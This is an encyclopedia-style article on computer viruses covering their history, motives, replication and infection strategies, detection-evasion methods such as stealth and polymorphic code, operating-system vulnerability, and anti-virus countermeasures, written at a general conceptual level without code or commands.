The word virus is often claimed to be the acronym of Vital Information Resources Under Siege, although this is obviously a backronym. The word is derived from and used in the same sense as the biological equivalent. The term "virus" is often used in common parlance to describe all kinds of malware (malicious software), including those that are more properly classified as worms or trojans. Most popular anti-virus software packages defend against all of these types of attack. In some technical communities, the term "virus" is also extended to include the authors of malware, in an insulting sense.

The English plural of "virus" is "viruses". Some people use "virii" or "viri" as a plural, although computer professionals seldom use these words. For a discussion about whether "viri" and "virii" are correct alternatives of "viruses", see plural of virus.

History

A program called "Elk Cloner" is credited with being the first computer virus to appear "in the wild" -- that is, outside the single computer or lab where it was created. Written in 1982 by Rich Skrenta, it attached itself to the Apple DOS 3.3 operating system and spread by floppy disk. This virus was originally a joke, created by the highschooler and put onto a game. The game was set to play, but release the virus on the 50th time of starting the game. On this time, it would instead of playing the game change to a blank screen that read a poem about the virus named Elk Cloner. The computer would then be infected.

The first PC virus was a boot sector virus called (c)Brain, created in 1986 by two brothers, Basit and Amjad Farooq Alvi, operating out of Lahore, Pakistan. The brothers reportedly created the virus to deter pirated copies of software they had written. However, analysts have claimed that the Ashar virus, a variant of Brain, possibly predated it based on code within the virus.

Before computer networks became widespread, most viruses spread on removable media, particularly floppy disks. In the early days of personal computers, many users regularly exchanged information and programs on floppies. Some viruses spread by infecting programs stored on these disks, while others installed themselves into the disk boot sector, ensuring that they would be run when the user booted the computer from the disk.

Traditional computer viruses were mostly first seen at the last half of the 1980s, and they came about because of a few reasons. “The first reason was the spread of personal computers. Prior to the 1980s, home computers were nearly non-existent or they were toys. Real computers were rare, and they were locked away for use by "experts." During the 1980s, real computers started to spread to businesses and homes because of popularity. By the late 1980s, PCs were widespread in businesses, homes and college campuses.

The second reason was the use of bulletin boards on the computer. People could dial up a bulletin board with a modem and download all sorts of different programs. Most popular were games, and then simple word processors, spreadsheets, etc. Bulletin boards led to what is now known as the virus called a Trojan horse. The third reason that led to the creation of viruses was most definitely the floppy disk. At the end of the 1980s, programs were very small, and one could fit the operating system, a word processor and many documents onto a single floppy disk. Most computers didn’t have hard disks, so one would turn on one's computer and it would load the operating system and everything else straight from the floppy disk. Viruses took advantage of these three facts to create the first self-replicating programs.

As bulletin board systems and online software exchange became popular in the late 1980s and early 1990s, more viruses were written to infect popularly traded software. Shareware and bootleg software were equally common vectors for viruses on BBSes. Within the "pirate scene" of hobbyists trading illicit copies of commercial software, traders in a hurry to obtain the latest applications and games were easy targets for viruses.

Since the mid-1990s, macro viruses have become common. Most of these viruses are written in the scripting languages for Microsoft programs such as Word and Excel. These viruses spread in Microsoft Office by infecting documents and spreadsheets. Since Word and Excel were also available for Mac OS, most of these viruses were able to spread on Macintosh computers as well. Numerically, most of these viruses did not have the ability to send infected e-mail. The ones that did usually worked by accessing the Microsoft Outlook COM interface.

Macro viruses pose unique problems for detection software. For example, some versions of Microsoft Word caused macros to replicate themselves with additional blank lines. The virus behaved identically but would be misidentified as a new virus. In another example, if two macro viruses simultaneously infect a document, the combination of the two, if also self-replicating, can appear as a "mating" of the two and would likely be detected as a virus unique from the "parents".[2]

A computer virus may also be transmitted through instant messaging. A virus may send a web address link as an instant message to all the contacts on an infected machine. If the recipient, thinking the link is from a friend (a trusted source) and follows the link to the website, the virus hosted at the site may be able to infect this new computer and continue propagating.

Why people create computer viruses

Unlike biological viruses, computer viruses do not simply evolve by themselves. Computer viruses cannot come into existence spontaneously, nor can they be created by bugs in regular programs. They are deliberately created by programmers, or by people who use virus creation software. It is possible that copying errors and recombination may lead to the actual evolution of a computer virus; however, the possibility of this type of 'digital evolution' is extremely remote.

Virus writers can have various reasons for creating and spreading malware. Viruses have been written as research projects, pranks, vandalism, to attack the products of specific companies, to distribute political messages, and financial gain from identity theft, spyware, and cryptoviral extortion. Some virus writers consider their creations to be works of art, and see virus writing as a creative hobby. Additionally, many virus writers oppose deliberately destructive payload routines. Some viruses were intended as "good viruses". They spread improvements to the programs they infect, or delete other viruses. These viruses are, however, quite rare, still consume system resources, may accidentally damage systems they infect, and, on occasion, have become infected and acted as vectors for malicious viruses. A poorly-written "good virus" can also inadvertently become a virus in and of itself (for example, such a 'good virus' may misidentify its target file and delete an innocent system file by mistake). Moreover, they normally operate without asking for permission of the owner of the computer. Since self-replicating code causes many complications, it is questionable if a well-intentioned virus can ever solve a problem in a way which is superior to a regular program that does not replicate itself.

Releasing computer viruses (as well as worms) is a crime in most jurisdictions.

See also the BBC News article.[3]

Replication strategies

In order to replicate itself, a virus must be permitted to execute code and write to memory. For this reason, many viruses attach themselves to executable files that may be part of legitimate programs. If a user tries to start an infected program, the virus' code may be executed first. Viruses can be divided into two types, on the basis of their behavior when they are executed. Nonresident viruses immediately search for other hosts that can be infected, infect these targets, and finally transfer control to the application program they infected. Resident viruses do not search for hosts when they are started. Instead, a resident virus loads itself into memory on execution and transfers control to the host program. The virus stays active in the background and infects new hosts when those files are accessed by other programs or the operating system itself.

Nonresident viruses

Nonresident viruses can be thought of as consisting of a finder module and a replication module. The finder module is responsible for finding new files to infect. For each new executable file the finder module encounters, it calls the replication module to infect that file.

For simple viruses the replicator's tasks is to:

  1. Open the new file
  2. Check if the executable file has already been infected (if it is, return to the finder module)
  3. Append the virus code to the executable file
  4. Save the executable's starting point
  5. Change the executable's starting point so that it points to the start location of the newly copied virus code
  6. Save the old start location to the virus in a way so that the virus branches to that location right after its execution.
  7. Save the changes to the executable file
  8. Close the infected file
  9. Return to the finder so that it can find new files for the replicator to infect.

Resident viruses

Resident viruses contain a replication module that is similar to the one that is employed by nonresident viruses. However, this module is not called by a finder module. Instead, the virus loads the replication module into memory when it is executed and ensures that this module is executed each time the operating system is called to perform a certain operation. For example, the replication module can get called each time the operating system executes a file. In this case, the virus infects every suitable program that is executed on the computer.

Resident viruses are sometimes subdivided into a category of fast infectors and a category of slow infectors. Fast infectors are designed to infect as many files as possible. For instance, a fast infector can infect every potential host file that is accessed. This poses a special problem to anti-virus software, since a virus scanner will access every potential host file on a computer when it performs a system-wide scan. If the virus scanner fails to notice that such a virus is present in memory, the virus can "piggy-back" on the virus scanner and in this way infect all files that are scanned. Fast infectors rely on their fast infection rate to spread. The disadvantage of this method is that infecting many files may make detection more likely, because the virus may slow down a computer or perform many suspicious actions that can be noticed by anti-virus software. Slow infectors, on the other hand, are designed to infect hosts infrequently. For instance, some slow infectors only infect files when they are copied. Slow infectors are designed to avoid detection by limiting their actions: they are less likely to slow down a computer noticeably, and will at most infrequently trigger anti-virus software that detects suspicious behavior by programs. The slow infector approach doesn't seem very successful however. Virus that are common in the wild are mostly relatively fast to extremely fast infectors.

Host types

Viruses have targeted various types of hosts. This is a non-exhaustive list:

Companion viruses

A few older viruses called companion viruses[4] do not have host files per se, but exploit MS-DOS. A companion virus creates new files (typically .COM but can also use other extensions such as ".EXD") that have the same file names as legitimate .EXE files. When a user types in the name of a desired program, if he does not type in ".EXE" but instead does not specify a file extension, DOS will assume he meant the file with the extension that comes first in alphabetical order and run the virus. For instance, if a user had "(filename).COM" (the virus) and "(filename).EXE" and the user typed "filename", he will run "(filename).COM" and run the virus. The virus will spread and do other tasks before redirecting to the legitimate file, which operates normally. Some companion viruses are known to run under Windows 95 and on DOS emulators on Windows NT systems. Path companion viruses create files that have the same name as the legitimate file and place new virus copies earlier in the directory paths. These viruses have become increasingly rare with the introduction of Windows XP, which does not use the MS-DOS command prompt per se.

Methods to avoid detection

In order to avoid detection by users, some viruses employ different kinds of deception. Some old viruses, especially on the MS-DOS platform, make sure that the "last modified" date of a host file stays the same when the file is infected by the virus. This approach does not fool anti-virus software, however.

Some viruses can infect files without increasing their sizes or damaging the files. They accomplish this by overwriting unused areas of executable files. These are called cavity viruses. For example the CIH virus, or Chernobyl Virus, infects Portable Executable files. Because those files had many empty gaps, the virus, which was 1 KiB in length, did not add to the size of the file.

Recent viruses avoid any kind of detection attempt by attempting to forcefully kill the tasks associated with the virus scanner before it can detect them.

As computers and operating systems grow larger and more complex, old hiding techniques need to be updated or replaced.

Avoiding bait files and other undesirable hosts

A virus needs to infect hosts in order to spread further. In some cases, it might be a bad idea to infect a host program. For example, many anti-virus programs perform an integrity check of their own code. Infecting such programs will therefore increase the likelihood that the virus is detected. For this reason, some viruses are programmed not to infect programs that are known to be part of anti-virus software. Another type of hosts that viruses sometimes avoid is bait files. Bait files (or goat files) are files that are specially created by anti-virus software, or by anti-virus professionals themselves, to be infected by a virus. These files can be created for various reasons, all of which are related to the detection of the virus:

  • Anti-virus professionals can use bait files to take a sample of a virus (i.e. a copy of a program file that is infected by the virus). It is more practical to store and exchange a small infected bait file, than to exchange a large application program that has been infected by the virus.
  • Anti-virus professionals can use bait files to study the behavior of a virus and evaluate detection methods. This is especially useful when the virus is polymorphic. In this case, the virus can be made to infect a large number of bait files. The infected files can be used to test whether a virus scanner detects all versions of the virus.
  • Some anti-virus software employs bait files that are accessed regularly. When these files are modified, the anti-virus software warns the user that a virus is probably active on the system.

Since bait files are used to detect the virus, or to make detection possible, a virus can benefit from not infecting them. Viruses typically do this by avoiding suspicious programs, such as small program files or programs that contain certain patterns of 'garbage instructions'.

A related strategy to make baiting difficult is sparse infection. Sometimes, sparse infectors do not infect a host file that would be a suitable candidate for infection in other circumstances. For example, a virus can decide on a random basis whether to infect a file or not, or a virus can only infect host files on particular days of the week.

Stealth

Some viruses try to trick anti-virus software by intercepting its requests to the operating system. A virus can hide itself by intercepting the anti-virus software’s request to read the file and passing the request to the virus, instead of the OS. The virus can then return an uninfected version of the file to the anti-virus software, so that it seems that the file is "clean". Modern anti-virus software employs various techniques to counter stealth mechanisms of viruses. The only completely reliable method to avoid stealth is to boot from a medium that is known to be clean.

Self-modification

Most modern antivirus programs try to find virus-patterns inside ordinary programs by scanning them for so-called virus signatures. A signature is a characteristic byte-pattern that is part of a certain virus or family of viruses. If a virus scanner finds such a pattern in a file, it notifies the user that the file is infected. The user can then delete, or (in some cases) "clean" or "heal" the infected file. Some viruses employ techniques that make detection by means of signatures difficult or impossible. These viruses modify their code on each infection. That is, each infected file contains a different variant of the virus.

Simple self-modifications

In the past, some viruses modified themselves only in fairly simple ways. For example, they regularly exchanged subroutines in their code for others that would perform the same action - for example, 2+2 could be swapped for 1+3. This poses no problems to a somewhat advanced virus scanner.

Encryption with a variable key

A more advanced method is the use of simple encryption to encipher the virus. In this case, the virus consists of a small decrypting module and an encrypted copy of the virus code. If the virus is encrypted with a different key for each infected file, the only part of the virus that remains constant is the decrypting module, which would (for example) be appended to the end. In this case, a virus scanner cannot directly detect the virus using signatures, but it can still detect the decrypting module, which still makes indirect detection of the virus possible.

Mostly, the decryption techniques that these viruses employ are fairly simple and mostly done by just xoring each byte with a randomized key that was saved by the parent virus. The use of XOR-operations has the additional advantage that the encryption and decryption routine are the same (a xor b = c, c xor b = a.)

Polymorphic code

Polymorphic code was the first technique that posed a serious threat to virus scanners. Just like regular encrypted viruses, a polymorphic virus infects files with an encrypted copy of itself, which is decoded by a decryption module. In the case of polymorphic viruses however, this decryption module is also modified on each infection. A well-written polymorphic virus therefore has no parts that stay the same on each infection, making it impossible to detect directly using signatures. Anti-virus software can detect it by decrypting the viruses using an emulator, or by statistical pattern analysis of the encrypted virus body. To enable polymorphic code, the virus has to have a polymorphic engine (also called mutating engine or mutation engine) somewhere in its encrypted body. See Polymorphic code for technical detail on how such engines operate.

Some viruses employ polymorphic code in a way which constrains the mutation rate of the virus significantly. For example, a virus can be programmed to mutate only slightly over time, or it can be programmed to refrain from mutating when it infects a file on a computer that already contains copies of the virus. The advantage of using such slow polymorphic code is that it makes it more difficult for anti-virus professionals to obtain representative samples of the virus, because bait files that are infected in one run will typically contain identical or similar samples of the virus. This will make it more likely that the detection by the virus scanner will be unreliable, and that, as a result of this, some instances of the virus may be able to avoid detection.

Metamorphic code

To avoid being detected by emulation, some viruses rewrite themselves completely each time they are to infect new executables. Viruses that use this technique are said to be metamorphic. To enable metamorphism, a metamorphic engine is needed. A metamorphic virus is usually very large and complex. For example, W32/Simile consisted of over 14000 lines of Assembly language code, 90% of it part of the metamorphic engine.

Viruses and legitimate software

The vulnerability of operating systems to viruses

Another analogy to biological viruses: just as genetic diversity in a population decreases the chance of a single disease wiping out a population, the diversity of software systems on a network similarly limits the destructive potential of viruses.

This became a particular concern in the 1990s, when Microsoft gained market dominance in desktop operating systems and office suites. Users who use Microsoft software (especially networking software such as Microsoft Outlook and Internet Explorer) are especially vulnerable to the spread of viruses. Microsoft software is targeted by virus writers due to their desktop dominance, and is often criticized for including many errors and holes for virus writers to exploit. Integrated applications, applications with scripting languages with access to the file system (for example Visual Basic Script (VBS), and applications with networking features) are also particularly vulnerable.

Although Windows is by far the most popular operating system for virus writers, some viruses also exist on other platforms. Any operating system that allows third-party programs to run can theoretically run viruses. Some operating systems are less secure than others. Unix-based OSes (and NTFS-aware applications on Windows NT based platforms) only allow their users to run executables within their protected space in their own directories.

As of 2006, there are relatively few security exploits [5] targeting Mac OS X (a Unix-based operating system); the known vulnerabilities fall under the classifications of worms and trojans. The number of viruses for the older Apple operating systems, known as Mac OS Classic, varies greatly from source to source, with Apple stating that there are only four known viruses, and independent sources stating there are as many as 63 viruses. However, Mac users are advised to install anti-virus software, because they can accidentally pass on a file which is infected with a Windows virus or trojan. While this malware does not affect the Mac, it can infect a Windows PC. It is safe to say that Macs are less likely to be exploited due to its secure Unix base. Virus vulnerability between Macs and Windows was/is a chief catalyst of the platform wars between Apple Computers and Microsoft.

Windows and Unix have similar scripting abilities, but while Unix natively blocks normal users from having access to make changes to the operating system environment, Windows does not. In 1997, when a virus for Linux was released – known as "Bliss" – leading antivirus vendors issued warnings that Unix-like systems could fall prey to viruses just like Windows.[6] The Bliss virus may be considered characteristic of viruses – as opposed to worms – on Unix systems. Bliss requires that the user run it explicitly, and it can only infect programs that the user has the access to modify. Unlike Windows users, most Unix users do not log in as the administrator user except to install or configure software; as a result, even if a user ran the virus, it could not harm their operating system. The Bliss virus never became widespread, and remains chiefly a research curiosity. Its creator later posted the source code to Usenet, allowing researchers to see how it worked.[7]

The role of software development

Because software is often designed with security features to prevent unauthorized use of system resources, many viruses must exploit software bugs in a system or application to spread. Software development strategies which produce large numbers of bugs will generally also produce potential exploits.

Closed-source software development, as practiced by Microsoft and other proprietary software companies, is seen by many as a security weakness. Open source software such as Linux, for example, allows all users to look for and fix security problems without relying on a single vendor. Some advocate that proprietary software makers practice vulnerability disclosure to improve this weakness.

On the other hand, some claim that open source development exposes potential security problems to virus writers, hence increases in the prevalence of exploits. They counter claims that popular closed source systems such as Windows are often exploited by claiming that these systems are only commonly exploited due to their popularity and the potential widespread effect such an exploit will have.

Anti-virus software and other countermeasures

There are two common methods which an anti-virus software application uses to detect viruses. The first method is to use a heuristic algorithm (Heuristic (computer science)) to find viruses based on common behaviors. This method has the potential abilitiy to detect viruses which may not be discovered by anti-virus security firms. The second and most common method of virus detection is to create a list of virus signature definitions. The disadvantage of this detection method is that users are only protected up until their last virus definition update. Many users install anti-virus software that can detect and eliminate known viruses after the computer downloads or runs the executable. They work by examining the content heuristics of the computer's memory (its RAM, and boot sectors) and the files stored on fixed or removable drives (hard drives, floppy drives), and comparing those files against a database of known virus "signatures". Some anti-virus programs are able to scan opened files in addition to sent and received emails 'on the fly' in a similar manner. This practice is known as "on-access scanning." Anti-virus software does not change the underlying capability of host software to transmit viruses. There have been attempts to do this but adoption of such anti-virus solutions can void the warranty for the host software. Users must therefore update their software regularly to patch security holes. Anti-virus software also needs to be regularly updated in order to gain knowledge about the latest threats and hoaxes and disterbance.

More ...